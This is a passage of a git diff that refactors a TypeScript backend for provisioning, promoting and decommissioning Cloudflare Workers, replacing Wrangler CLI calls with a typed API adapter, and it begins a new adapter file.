deployedPlainText.get('FLEET_SPEC_DIGEST'); @@ -793,7 +698,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { `refusing to mutate Worker '${spec.scriptName}' with a current deployment outside its persisted artifact set`, ); } - const version = await this.#viewVersion(spec, deployed.id); + const version = await this.#api.viewVersion(spec.scriptName, deployed.id); const plainText = this.#plainTextBindings(version); const databaseIds = this.#databaseIds(version); if ( @@ -833,8 +738,8 @@ export class WranglerLoopBackend implements ProvisioningBackend { const [status, versions, footprint, namespaceIds] = await Promise.all([ this.#deploymentStatus(spec), this.#listVersions(spec), - this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#routeApi.listDurableObjectNamespaces(spec.scriptName), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), ]); const listed = versions ?? []; if (!status && listed.length === 0) { @@ -856,13 +761,12 @@ export class WranglerLoopBackend implements ProvisioningBackend { ); } const validInventory = listed.map((version) => { - const id = versionId(version); - if (!id) { + if (!version.versionId) { throw new Error( `refusing to mutate Worker '${spec.scriptName}' with an invalid version inventory`, ); } - return { id, tag: versionTag(version) }; + return { id: version.versionId, tag: version.tag }; }); const listedIds = validInventory.map(({ id }) => id); if (new Set(listedIds).size !== listedIds.length) { @@ -878,16 +782,30 @@ export class WranglerLoopBackend implements ProvisioningBackend { specDigest: deploymentSpecDigest(spec), releaseSchemaVersion: spec.schemaVersion, }; - const viewedVersions = new Map(); - const view = async (id: string): Promise => { - const cached = viewedVersions.get(id); - if (cached !== undefined) return cached; - const version = await this.#viewVersion(spec, id); + const viewedVersions = new Map(); + const remember = ( + id: string, + version: PlainWorkerVersionDetail, + ): PlainWorkerVersionDetail => { viewedVersions.set(id, version); return version; }; + const view = async (id: string): Promise => { + const cached = viewedVersions.get(id); + if (cached !== undefined) return cached; + const version = await this.#api.viewVersion(spec.scriptName, id); + return remember(id, version); + }; + const find = async ( + id: string, + ): Promise => { + const cached = viewedVersions.get(id); + if (cached !== undefined) return cached; + const version = await this.#api.findVersion(spec.scriptName, id); + return version ? remember(id, version) : undefined; + }; const assertIdentity = ( - version: unknown, + version: PlainWorkerVersionDetail, expectedReleases: readonly ReleaseIdentity[], ): void => { const plainText = this.#plainTextBindings(version); @@ -914,13 +832,8 @@ export class WranglerLoopBackend implements ProvisioningBackend { let anchorId: string | undefined; if (allowed.length > 0) { for (const release of allowed) { - let anchor: unknown; - try { - anchor = await view(release.artifactVersion); - } catch (error) { - if (isWranglerNotFound(error)) continue; - throw error; - } + const anchor = await find(release.artifactVersion); + if (!anchor) continue; assertIdentity(anchor, [release]); anchorId = release.artifactVersion; break; @@ -969,8 +882,9 @@ export class WranglerLoopBackend implements ProvisioningBackend { `refusing to attest database detachment for mismatched fleet record '${record.tenantTag}:${record.environment}'`, ); } - const databaseAttachments = - await this.#routeApi.listWorkerDatabaseAttachments(database.id); + const databaseAttachments = await this.#api.listWorkerDatabaseAttachments( + database.id, + ); if (databaseAttachments.length > 0) { throw new Error( `database '${record.databaseId}' remains attached to ${databaseAttachments @@ -985,9 +899,9 @@ export class WranglerLoopBackend implements ProvisioningBackend { await Promise.all([ this.#deploymentStatus(spec), this.#listVersions(spec), - this.#routeApi.listCustomDomains(), - this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#routeApi.listDurableObjectNamespaces(spec.scriptName), + this.#api.listCustomDomains(), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), ]); const routeFootprint = domains.filter( (domain) => @@ -1038,9 +952,9 @@ export class WranglerLoopBackend implements ProvisioningBackend { ] = await Promise.all([ this.#deploymentStatus(spec), this.#listVersions(spec), - this.#routeApi.listCustomDomains(), - this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#routeApi.listDurableObjectNamespaces(spec.scriptName), + this.#api.listCustomDomains(), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), ]); const reconciledRoute = reconciledDomains.some( (domain) => @@ -1075,7 +989,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { hostname: string, ): Promise { const normalized = hostname.toLowerCase(); - const matches = (await this.#routeApi.listCustomDomains()).filter( + const matches = (await this.#api.listCustomDomains()).filter( (domain) => domain.hostname.toLowerCase() === normalized, ); if (matches.length > 1) { @@ -1117,25 +1031,22 @@ export class WranglerLoopBackend implements ProvisioningBackend { ); } if (current.versions.some((version) => version.id === candidateId)) return; - const versionSpecs = [ - ...current.versions.map( - (version) => `${version.id}@${version.percentage}%`, - ), - `${candidateId}@0%`, - ]; - try { - await this.#runMutation(fence, [ - 'versions', - 'deploy', - ...versionSpecs, - '--name', - spec.scriptName, - '-y', - ]); - } catch (error) { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDeployment( + spec.scriptName, + [ + ...current.versions.map((version) => ({ + versionId: version.id, + percentage: version.percentage, + })), + { versionId: candidateId, percentage: 0 }, + ], + fence, + ); + if (outcome.status === 'failed') { const reconciled = await this.#deploymentStatus(spec); if (!reconciled?.versions.some((version) => version.id === candidateId)) { - throw error; + throw outcome.error; } } } @@ -1175,191 +1086,188 @@ export class WranglerLoopBackend implements ProvisioningBackend { 'Wrangler loop supports only local Durable Object bindings', ); } - const directory = await mkdtemp(join(tmpdir(), 'anchorage-fleet-')); - try { - const deployment = await this.#deploymentStatus(spec); - const versions = await this.#listVersions(spec); - const workerExisted = deployment !== undefined || versions !== undefined; - const priorVersionIds = new Set( - (versions ?? []).map((version) => { - const id = versionId(version); - if (!id) { - throw new Error('wrangler versions list result has no version id'); - } - return id; - }), - ); - let candidateId = expectedArtifactVersion - ? await this.#expectedCandidate(spec, expectedArtifactVersion, versions) - : undefined; - const pendingDurableObjectMigration = - targetDurableObjectTag(spec) !== spec.previousDurableObjectTag; - if (deployment && pendingDurableObjectMigration) { - throw new Error( - `existing Worker '${spec.scriptName}' has a pending Durable Object lifecycle migration; plain-Worker updates require an immediate/manual migration boundary`, - ); - } - if (deployment) { - await this.#assertExistingWorkerIdentity(spec, database.id, deployment); - } - if ( - candidateId && - deployment?.versions.some((version) => version.id === candidateId) - ) { - return { artifactVersion: candidateId, created: false }; - } - for (const module of spec.modules) { - const modulePath = resolve(directory, module.name); - if (!modulePath.startsWith(`${directory}/`)) { - throw new Error( - `module '${module.name}' escapes the staging directory`, - ); + const deployment = await this.#deploymentStatus(spec); + const versions = await this.#listVersions(spec); + const workerExisted = deployment !== undefined || versions !== undefined; + const priorVersionIds = new Set( + (versions ?? []).map((version) => { + if (!version.versionId) { + throw new Error('wrangler versions list result has no version id'); } - await mkdir(resolve(modulePath, '..'), { recursive: true }); - await writeFile(modulePath, module.content); - } - const ingressModule = plainWorkerIngressModule(spec); - await writeFile( - join(directory, ingressModule.name), - ingressModule.content, + return version.versionId; + }), + ); + let candidateId = expectedArtifactVersion + ? await this.#expectedCandidate(spec, expectedArtifactVersion, versions) + : undefined; + const pendingDurableObjectMigration = + targetDurableObjectTag(spec) !== spec.previousDurableObjectTag; + if (deployment && pendingDurableObjectMigration) { + throw new Error( + `existing Worker '${spec.scriptName}' has a pending Durable Object lifecycle migration; plain-Worker updates require an immediate/manual migration boundary`, ); - const configPath = join(directory, 'wrangler.candidate.json'); - await writeFile( - configPath, - JSON.stringify({ - name: spec.scriptName, - main: ingressModule.name, - workers_dev: true, - preview_urls: false, - compatibility_date: spec.compatibilityDate, - compatibility_flags: spec.compatibilityFlags, - vars: { - DEPLOYMENT_TENANT: spec.tenantTag, - FLEET_ENVIRONMENT: spec.environment, - FLEET_SCHEMA_VERSION: String(spec.schemaVersion), - FLEET_SPEC_DIGEST: deploymentSpecDigest(spec), - FLEET_INGRESS_CONTRACT: PLAIN_INGRESS_CONTRACT, - ...Object.fromEntries( - ( - application?.vars ?? canonicalApplicationBindings(spec).vars - ).map(({ name, value }) => [name, value]), - ), - }, - d1_databases: [ - { - binding: 'DB', - database_name: database.name, - database_id: database.id, - }, - ], - durable_objects: { - bindings: spec.durableObjectBindings.map((binding) => ({ + } + if (deployment) { + await this.#assertExistingWorkerIdentity(spec, database.id, deployment); + } + if ( + candidateId && + deployment?.versions.some((version) => version.id === candidateId) + ) { + return { artifactVersion: candidateId, created: false }; + } + const ingressModule = plainWorkerIngressModule(spec); + const digest = deploymentSpecDigest(spec); + const mode = deployment === undefined ? 'initial' : 'staged'; + let uploadOutcome: PlainWorkerUploadOutcome | undefined; + if (!candidateId) { + this.#assertMutationDuration(fence); + uploadOutcome = await this.#api.uploadCandidate( + { + scriptName: spec.scriptName, + candidateTag: digest, + mainModule: ingressModule.name, + modules: [...spec.modules, ingressModule], + compatibilityDate: spec.compatibilityDate, + compatibilityFlags: spec.compatibilityFlags, + bindings: { + plainText: [ + { name: 'DEPLOYMENT_TENANT', value: spec.tenantTag }, + { name: 'FLEET_ENVIRONMENT', value: spec.environment }, + { + name: 'FLEET_SCHEMA_VERSION', + value: String(spec.schemaVersion), + }, + { name: 'FLEET_SPEC_DIGEST', value: digest }, + { + name: 'FLEET_INGRESS_CONTRACT', + value: PLAIN_INGRESS_CONTRACT, + }, + ...(application?.vars ?? canonicalApplicationBindings(spec).vars), + ], + secrets: [ + { + name: 'DEPLOYMENT_IDENTITY_SECRET', + value: secrets.deploymentIdentity, + }, + { + name: 'MAINTENANCE_ADMIN_SECRET', + value: secrets.maintenanceAdmin, + }, + ...Object.entries(applicationSecretValues(spec, secrets)).map( + ([name, value]) => ({ name, value }), + ), + ], + d1: [ + { + name: 'DB', + databaseName: database.name, + databaseId: database.id, + }, + ], + durableObjects: spec.durableObjectBindings.map((binding) => ({ name: binding.name, - class_name: binding.className, + className: binding.className, })), - }, - services: spec.egressProxyService - ? [ - { - binding: 'EGRESS_PROXY', - service: spec.egressProxyService, - }, - ] - : undefined, - ...(deployment - ? {} - : { - migrations: spec.durableObjectMigrations.map((migration) => ({ - tag: migration.tag, - new_sqlite_classes: migration.newSqliteClasses, - new_classes: migration.newClasses, - deleted_classes: migration.deletedClasses, - renamed_classes: migration.renamedClasses, - })), - }), - queues: spec.queueProducer - ? { - producers: [ + services: spec.egressProxyService + ? [ + { + name: 'EGRESS_PROXY', + service: spec.egressProxyService, + }, + ] + : [], + queueProducers: spec.queueProducer + ? [ { - binding: spec.queueProducer.binding, - queue: spec.queueProducer.queueName, + name: spec.queueProducer.binding, + queueName: spec.queueProducer.queueName, }, - ], + ] + : [], + r2Buckets: (application?.r2Buckets ?? []).map((binding) => ({ + name: binding.name, + bucketName: binding.bucketName, + })), + }, + limits: { cpuMs: spec.cpuLimitMs }, + publicAccess: { + workersDevEnabled: true, + previewUrlsEnabled: false, + }, + ...(mode === 'initial' + ? { + mode, + durableObjectMigrations: spec.durableObjectMigrations, } - : undefined, - r2_buckets: (application?.r2Buckets ?? []).map((binding) => ({ - binding: binding.name, - bucket_name: binding.bucketName, - })), - limits: spec.cpuLimitMs ? { cpu_ms: spec.cpuLimitMs } : undefined, - }), - ); - const secretsPath = join(directory, 'wrangler.secrets.json'); - await writeFile( - secretsPath, - JSON.stringify({ - DEPLOYMENT_IDENTITY_SECRET: secrets.deploymentIdentity, - MAINTENANCE_ADMIN_SECRET: secrets.maintenanceAdmin, - ...applicationSecretValues(spec, secrets), - }), - { mode: 0o600 }, + : { mode }), + }, + fence, ); - const digest = deploymentSpecDigest(spec); - try { - if (!candidateId) { - const command = deployment ? ['versions', 'upload'] : ['deploy']; - let mutationError: unknown; - try { - await this.#runMutation(fence, [ - ...command, - '--config', - configPath, - '--secrets-file', - secretsPath, - '--tag', - digest, - ]); - } catch (error) { - mutationError = error; - } - const operationCandidates = ( - await this.#matchingCandidateIds(spec) - ).filter((id) => !priorVersionIds.has(id)); - if (operationCandidates.length !== 1) { - if (mutationError) throw mutationError; - throw new Error( - `wrangler ${command.join(' ')} did not create exactly one new tagged Worker version`, - ); - } - const operationCandidate = operationCandidates[0]; - if (!operationCandidate) { - throw new Error('new Worker candidate has no artifact version'); + } + let settled: + | Readonly<{ + ok: true; + result: Readonly<{ artifactVersion: string; created: boolean }>; + }> + | Readonly<{ + ok: false; + error: Readonly<{ + message: string; + cause: unknown; + createdByAttempt: boolean; + resourceState: 'absent' | 'present' | 'unknown'; + }>; + }>; + try { + if (!candidateId) { + const operationCandidates = ( + await this.#matchingCandidateIds(spec) + ).filter((id) => !priorVersionIds.has(id)); + if (operationCandidates.length !== 1) { + if (uploadOutcome?.status === 'failed' && uploadOutcome.error) { + throw uploadOutcome.error; } - candidateId = operationCandidate; + // HEAD parity: a falsy rejection value carries no diagnostic. + throw new Error( + `${mode} Worker upload did not create exactly one new tagged Worker version`, + ); + } + const operationCandidate = operationCandidates[0]; + if (!operationCandidate) { + throw new Error('new Worker candidate has no artifact version'); } - if (deployment) { - await this.#deployCandidateAtZero(spec, candidateId, fence); - } else { - const initial = await this.#deploymentStatus(spec); - const selected = initial?.versions.find( - (version) => version.id === candidateId, + candidateId = operationCandidate; + } + if (deployment) { + await this.#deployCandidateAtZero(spec, candidateId, fence); + } else { + const initial = await this.#deploymentStatus(spec); + const selected = initial?.versions.find( + (version) => version.id === candidateId, + ); + if (selected?.percentage !== 100) { + throw new Error( + `initial Worker '${spec.scriptName}' did not deploy its tagged version at 100%`, ); - if (selected?.percentage !== 100) { - throw new Error( - `initial Worker '${spec.scriptName}' did not deploy its tagged version at 100%`, - ); - } } - return { artifactVersion: candidateId, created: !workerExisted }; - } catch (cause) { - if (workerExisted) { - throw new WorkerDeploymentError({ + } + settled = { + ok: true, + result: { artifactVersion: candidateId, created: !workerExisted }, + }; + } catch (cause) { + if (workerExisted) { + settled = { + ok: false, + error: { message: `failed to update existing Worker '${spec.scriptName}'`, cause, createdByAttempt: false, resourceState: 'present', - }); - } + }, + }; + } else { const cleanupErrors: unknown[] = []; const cleanupRelease: ExternalReleaseSnapshot | undefined = candidateId ? { @@ -1407,24 +1315,40 @@ export class WranglerLoopBackend implements ProvisioningBackend { cleanupErrors.push(cleanupError); } } - if (cleanupErrors.length > 0) { - throw new WorkerDeploymentError({ - message: `failed to install credentials and clean up '${spec.scriptName}'`, - cause: new AggregateError([cause, ...cleanupErrors]), - createdByAttempt: true, - resourceState: 'unknown', - }); - } - throw new WorkerDeploymentError({ - message: `failed to install Worker '${spec.scriptName}'`, - cause, - createdByAttempt: true, - resourceState: 'absent', - }); + settled = { + ok: false, + error: + cleanupErrors.length > 0 + ? { + message: `failed to install credentials and clean up '${spec.scriptName}'`, + cause: new AggregateError([cause, ...cleanupErrors]), + createdByAttempt: true, + resourceState: 'unknown', + } + : { + message: `failed to install Worker '${spec.scriptName}'`, + cause, + createdByAttempt: true, + resourceState: 'absent', + }, + }; } - } finally { - await rm(directory, { recursive: true, force: true }); } + if (!settled.ok) { + const record = settled.error; + const cause = + uploadOutcome?.cleanup.status === 'failed' + ? new AggregateError( + [record.cause, uploadOutcome.cleanup.error], + 'Worker upload and adapter scratch cleanup both failed', + ) + : record.cause; + throw new WorkerDeploymentError({ ...record, cause }); + } + if (uploadOutcome?.cleanup.status === 'failed') { + throw uploadOutcome.cleanup.error; + } + return settled.result; } async promoteWorker( @@ -1460,30 +1384,27 @@ export class WranglerLoopBackend implements ProvisioningBackend { current.versions[0]?.id === candidateId && current.versions[0].percentage === 100; if (!promoted) { - try { - await this.#runMutation(fence, [ - 'versions', - 'deploy', - `${candidateId}@100%`, - '--name', - spec.scriptName, - '-y', - ]); - } catch (error) { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDeployment( + spec.scriptName, + [{ versionId: candidateId, percentage: 100 }], + fence, + ); + if (outcome.status === 'failed') { const reconciled = await this.#deploymentStatus(spec); if ( reconciled?.versions.length !== 1 || reconciled.versions[0]?.id !== candidateId || reconciled.versions[0].percentage !== 100 ) { - throw error; + throw outcome.error; } } } const beforeAttach = await this.#attestPromotionRoute(spec, guard); if (beforeAttach?.service !== spec.scriptName) { await this.#assertMutationFence(fence); - await this.#routeApi.attachCustomDomain( + await this.#api.attachCustomDomain( { hostname: spec.routeHostname, service: spec.scriptName, @@ -1559,50 +1480,53 @@ export class WranglerLoopBackend implements ProvisioningBackend { if (!artifactVersion) { throw new Error('wrangler deployment status has no active version'); } - const version = await this.#viewVersion(spec, artifactVersion); - const resources = field(version, 'resources'); - const bindings = asArray(field(resources, 'bindings')); - const databaseIds = bindings.flatMap((binding) => { - if (field(binding, 'type') !== 'd1') return []; - const id = field(binding, 'id') ?? field(binding, 'database_id'); - return typeof id === 'string' ? [id] : []; - }); - const durableObjectBindings = bindings.flatMap((binding) => { - if (field(binding, 'type') !== 'durable_object_namespace') return []; - const id = field(binding, 'namespace_id'); - const name = field(binding, 'name'); - const className = field(binding, 'class_name'); - return typeof id === 'string' && - typeof name === 'string' && - typeof className === 'string' - ? [{ name, className, namespaceId: id }] - : []; - }); - const serviceBindings = bindings.flatMap((binding) => { - if (field(binding, 'type') !== 'service') return []; - const name = field(binding, 'name'); - const service = field(binding, 'service'); - return typeof name === 'string' && typeof service === 'string' - ? [{ name, service }] - : []; - }); - const queueProducerBindings = bindings.flatMap((binding) => { - if (field(binding, 'type') !== 'queue') return []; - const name = field(binding, 'name'); - const queueName = field(binding, 'queue_name'); - return typeof name === 'string' && typeof queueName === 'string' - ? [{ name, queueName }] - : []; - }); - const r2BucketBindings = bindings - .flatMap((binding) => { - if (field(binding, 'type') !== 'r2_bucket') return []; - const name = field(binding, 'name'); - const bucketName = field(binding, 'bucket_name'); - return typeof name === 'string' && typeof bucketName === 'string' - ? [{ name, bucketName, jurisdiction: 'default' as const }] - : []; - }) + const version = await this.#api.viewVersion( + spec.scriptName, + artifactVersion, + ); + const databaseIds = this.#databaseIds(version); + const durableObjectBindings = version.bindings.flatMap((binding) => + binding.type === 'durable-object' && + typeof binding.namespaceId === 'string' && + typeof binding.name === 'string' && + typeof binding.className === 'string' + ? [ + { + name: binding.name, + className: binding.className, + namespaceId: binding.namespaceId, + }, + ] + : [], + ); + const serviceBindings = version.bindings.flatMap((binding) => + binding.type === 'service' && + typeof binding.name === 'string' && + typeof binding.service === 'string' + ? [{ name: binding.name, service: binding.service }] + : [], + ); + const queueProducerBindings = version.bindings.flatMap((binding) => + binding.type === 'queue-producer' && + typeof binding.name === 'string' && + typeof binding.queueName === 'string' + ? [{ name: binding.name, queueName: binding.queueName }] + : [], + ); + const r2BucketBindings = version.bindings + .flatMap((binding) => + binding.type === 'r2-bucket' && + typeof binding.name === 'string' && + typeof binding.bucketName === 'string' + ? [ + { + name: binding.name, + bucketName: binding.bucketName, + jurisdiction: 'default' as const, + }, + ] + : [], + ) .sort((left, right) => left.name.localeCompare(right.name)); const plainText = this.#plainTextBindings(version); const expectedServiceBindings = spec.egressProxyService @@ -1645,20 +1569,11 @@ export class WranglerLoopBackend implements ProvisioningBackend { `script '${spec.scriptName}' has no valid schema version`, ); } - const versionBindingIdentities = assertSupportedProviderBindings( - bindings, - new Set([ - 'd1', - 'durable_object_namespace', - 'service', - 'queue', - 'r2_bucket', - 'plain_text', - 'secret_text', - ]), + const versionBindingIdentities = assertSupportedPlainWorkerBindings( + version.bindings, `plain Worker '${spec.scriptName}'`, ); - const secretNames = await this.#routeApi.listOrdinaryWorkerSecretNames( + const secretNames = await this.#api.listOrdinaryWorkerSecretNames( spec.scriptName, ); const versionSecretNames = versionBindingIdentities @@ -1749,9 +1664,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { async attestActiveRoute( spec: DeploymentSpec, ): Promise { - const active = await this.#routeApi.inspectActiveWorkerRoute( - spec.scriptName, - ); + const active = await this.#api.inspectActiveWorkerRoute(spec.scriptName); if (!active) { throw new ActiveRouteAttestationError( `Worker '${spec.scriptName}' has no deployment serving traffic`, @@ -1785,7 +1698,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { ): Promise { const secretNames = [ ...new Set( - await this.#routeApi.listOrdinaryWorkerSecretNames(spec.scriptName), + await this.#api.listOrdinaryWorkerSecretNames(spec.scriptName), ), ].sort(); if (secretNames.length === 0) { @@ -1811,13 +1724,13 @@ export class WranglerLoopBackend implements ProvisioningBackend { `ordinary Worker '${spec.scriptName}' has secrets without an attestable Worker owner`, ); } - await this.#routeApi.deleteControlSecrets( + await this.#api.deleteControlSecrets( spec.scriptName, [secretName], fence, ); } - const remaining = await this.#routeApi.listOrdinaryWorkerSecretNames( + const remaining = await this.#api.listOrdinaryWorkerSecretNames( spec.scriptName, ); if (remaining.length > 0) { @@ -1838,24 +1751,24 @@ export class WranglerLoopBackend implements ProvisioningBackend { ); } if (step === 'remove-traffic') { - const domains = await this.#routeApi.listCustomDomains(); + const domains = await this.#api.listCustomDomains(); for (const domain of domains.filter( ({ service }) => service === record.scriptName, )) { - await this.#routeApi.detachCustomDomain(domain.id, fence); + await this.#api.detachCustomDomain(domain.id, fence); } - const initial = await this.#routeApi.inspectOrdinaryWorkerFootprint( + const initial = await this.#api.inspectOrdinaryWorkerFootprint( record.scriptName, ); if (initial.scriptPresent) { - await this.#routeApi.disableOrdinaryWorkerPublicAccess( + await this.#api.disableOrdinaryWorkerPublicAccess( record.scriptName, fence, ); } const [footprint, remainingDomains] = await Promise.all([ - this.#routeApi.inspectOrdinaryWorkerFootprint(record.scriptName), - this.#routeApi.listCustomDomains(), + this.#api.inspectOrdinaryWorkerFootprint(record.scriptName), + this.#api.listCustomDomains(), ]); if ( footprint.customDomains.length > 0 || @@ -1873,17 +1786,17 @@ export class WranglerLoopBackend implements ProvisioningBackend { if (step === 'revoke-credentials') { const secretNames = [ ...new Set( - await this.#routeApi.listOrdinaryWorkerSecretNames(record.scriptName), + await this.#api.listOrdinaryWorkerSecretNames(record.scriptName), ), ].sort(); for (const secretName of secretNames) { - await this.#routeApi.deleteControlSecrets( + await this.#api.deleteControlSecrets( record.scriptName, [secretName], fence, ); } - const remaining = await this.#routeApi.listOrdinaryWorkerSecretNames( + const remaining = await this.#api.listOrdinaryWorkerSecretNames( record.scriptName, ); if (remaining.length > 0) { @@ -1896,18 +1809,11 @@ export class WranglerLoopBackend implements ProvisioningBackend { if (step !== 'delete-database') { throw new Error(`unsupported force-decommission step '${step}'`); } - const getDatabase = this.#routeApi.getDatabase; - const deleteDatabase = this.#routeApi.deleteDatabase; - if (!getDatabase || !deleteDatabase) { - throw new Error( - 'plain Worker route API does not support exact-ID D1 database deletion', - ); + if (!this.#api.supportsExactDatabaseDeletion) { + throw new Error(EXACT_DATABASE_DELETION_REQUIRED); } - await this.#routeApi.withMutationFence(fence, async () => { - const database = await getDatabase.call( - this.#routeApi, - record.databaseId, - ); + await this.#api.withMutationFence(fence, async () => { + const database = await this.#api.getDatabase(record.databaseId); if (!database) return; if ( database.id !== record.databaseId || @@ -1917,8 +1823,8 @@ export class WranglerLoopBackend implements ProvisioningBackend { `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}' during force decommission`, ); } - await deleteDatabase.call(this.#routeApi, database.id); - if (await getDatabase.call(this.#routeApi, record.databaseId)) { + await this.#api.deleteDatabaseFenced(database.id, fence); + if (await this.#api.getDatabase(record.databaseId)) { throw new Error( `database '${record.databaseId}' remains after force decommission`, ); @@ -1952,18 +1858,15 @@ export class WranglerLoopBackend implements ProvisioningBackend { } if (route) { await this.#assertMutationFence(fence); - await this.#routeApi.detachCustomDomain(route.id, fence); + await this.#api.detachCustomDomain(route.id, fence); } if (worker) { - await this.#routeApi.disableOrdinaryWorkerPublicAccess( - spec.scriptName, - fence, - ); + await this.#api.disableOrdinaryWorkerPublicAccess(spec.scriptName, fence); } } async assertTrafficRemoved(spec: DeploymentSpec): Promise { - const footprint = await this.#routeApi.inspectOrdinaryWorkerFootprint( + const footprint = await this.#api.inspectOrdinaryWorkerFootprint( spec.scriptName, ); if ( @@ -1986,8 +1889,8 @@ export class WranglerLoopBackend implements ProvisioningBackend { fence: ExternalMutationFence, ): Promise { const [initialFootprint, initialNamespaceIds] = await Promise.all([ - this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#routeApi.listDurableObjectNamespaces(spec.scriptName), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), ]); await this.assertTrafficRemoved(spec); if (!initialFootprint.scriptPresent) { @@ -2016,7 +1919,7 @@ export class WranglerLoopBackend implements ProvisioningBackend { `refusing to delete Worker '${spec.scriptName}' with an inconsistent script or zone-route footprint`, ); } - const unexpectedDomains = (await this.#routeApi.listCustomDomains()).filter( + const unexpectedDomains = (await this.#api.listCustomDomains()).filter( (domain) => domain.service === spec.scriptName && domain.hostname.toLowerCase() !== spec.routeHostname.toLowerCase(), @@ -2040,16 +1943,14 @@ export class WranglerLoopBackend implements ProvisioningBackend { `ordinary Worker '${spec.scriptName}' disappeared before deletion`, ); } - try { - await this.#runMutation(fence, [ - 'delete', - '--name', - spec.scriptName, - '--force', - ]); - } catch (error) { - if (!isWranglerNotFound(error)) throw error; - } + this.#assertMutationDuration(fence); + const deletionOutcome = await this.#api.deleteWorkerScript( + spec.scriptName, + fence, + ); + // Policy treats deleted and absent identically because the residual check follows; + // satisfies is a widening tripwire for future adapter outcomes. + deletionOutcome satisfies 'deleted' | 'absent'; const [ status, versions, @@ -2061,13 +1962,13 @@ export class WranglerLoopBackend implements ProvisioningBackend { this.#deploymentStatus(spec), this.#listVersions(spec), this.#customDomain(spec.routeHostname), - this.#routeApi + this.#api .listCustomDomains() .then((domains) => domains.filter((domain) => domain.service === spec.scriptName), ), - this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#routeApi.listDurableObjectNamespaces(spec.scriptName), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), ]); if ( status || @@ -2089,74 +1990,26 @@ export class WranglerLoopBackend implements ProvisioningBackend { database: DatabaseReference, fence: ExternalMutationFence, ): Promise { - await mkdir(this.#exportDirectory, { recursive: true }); - const temporaryDirectory = await mkdtemp( - join(this.#exportDirectory, '.wrangler-export-'), - ); - const fileName = `${database.name}-${Date.now()}.sql`; - const temporaryLocation = join(temporaryDirectory, fileName); - try { - await this.#runMutation(fence, [ - 'd1', - 'export', - database.id, - '--remote', - '--skip-confirmation', - '--output', - temporaryLocation, - ]); - await chmod(temporaryLocation, 0o600); - const metadata = await stat(temporaryLocation); - if (!metadata.isFile() || metadata.size === 0) { - throw new Error('Wrangler database export is not a non-empty file'); - } - const hash = createHash('sha256'); - for await (const chunk of createReadStream(temporaryLocation)) { - hash.update(chunk); - } - const sha256 = hash.digest('hex'); - const stored = await this.#exportStore.write({ - databaseId: database.id, - fileName, - body: Readable.toWeb( - createReadStream(temporaryLocation), - ) as ReadableStream, - contentLength: metadata.size, - }); - if ( - !stored.location || - stored.size !== metadata.size || - stored.sha256 !== sha256 - ) { - throw new Error( - 'durable database export store returned mismatched committed integrity', - ); - } - return { - databaseId: database.id, - location: stored.location, - sha256, - size: metadata.size, - }; - } finally { - await rm(temporaryDirectory, { recursive: true, force: true }); - } + this.#assertMutationDuration(fence); + const exported = await this.#api.exportDatabase(database, fence); + return { + databaseId: database.id, + location: exported.location, + sha256: exported.sha256, + size: exported.size, + }; } async deleteDatabase( database: DatabaseReference, fence: ExternalMutationFence, ): Promise { - const getDatabase = this.#routeApi.getDatabase; - const deleteDatabase = this.#routeApi.deleteDatabase; - if (!getDatabase || !deleteDatabase) { - throw new Error( - 'plain Worker route API does not support exact-ID D1 database deletion', - ); + if (!this.#api.supportsExactDatabaseDeletion) { + throw new Error(EXACT_DATABASE_DELETION_REQUIRED); } - await this.#routeApi.withMutationFence(fence, async () => { - await deleteDatabase.call(this.#routeApi, database.id); - if (await getDatabase.call(this.#routeApi, database.id)) { + await this.#api.withMutationFence(fence, async () => { + await this.#api.deleteDatabaseFenced(database.id, fence); + if (await this.#api.getDatabase(database.id)) { throw new Error(`database '${database.id}' remains after deletion`); } }); diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts new file mode 100644 index 00000000..feaa0d00 --- /dev/null +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -0,0 +1,665 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { AsyncLocalStorage } from 'node:async_hooks'; +import { createHash } from 'node:crypto'; +import { createReadStream } from 'node:fs'; +import { chmod, mkdir, mkdtemp, rm, stat, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join, resolve } from 'node:path'; +import { Readable } from 'node:stream'; +import type { DurableDatabaseExportStore } from './cloudflare-client.js'; +import type { + DatabaseReference, + ExternalMutationFence, + PlainWorkerDatabaseExportResult, + PlainWorkerDatabaseInventoryEntry, + PlainWorkerDeploymentStatus, + PlainWorkerMutationOutcome, + PlainWorkerProvisioningApi, + PlainWorkerRouteApi, + PlainWorkerUploadIntent, + PlainWorkerUploadOutcome, + PlainWorkerVersionBinding, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, +} from './types.js'; +import type { CommandResult, CommandRunner } from './wrangler-runner.js'; + +function parseJson(value: string, operation: string): unknown { + try { + return JSON.parse(value); + } catch (cause) { + throw new Error(`wrangler ${operation} returned invalid JSON`, { cause }); + } +} + +function asArray(value: unknown): readonly unknown[] { + if (Array.isArray(value)) return value; + if (value && typeof value === 'object' && 'result' in value) { + const result = (value as { result?: unknown }).result; + return Array.isArray(result) ? result : result ? [result] : []; + } + return []; +} + +function field(value: unknown, name: string): unknown { + return value && typeof value === 'object' + ? (value as Record)[name] + : undefined; +} + +function stringField(value: unknown, name: string): string | undefined { + const candidate = 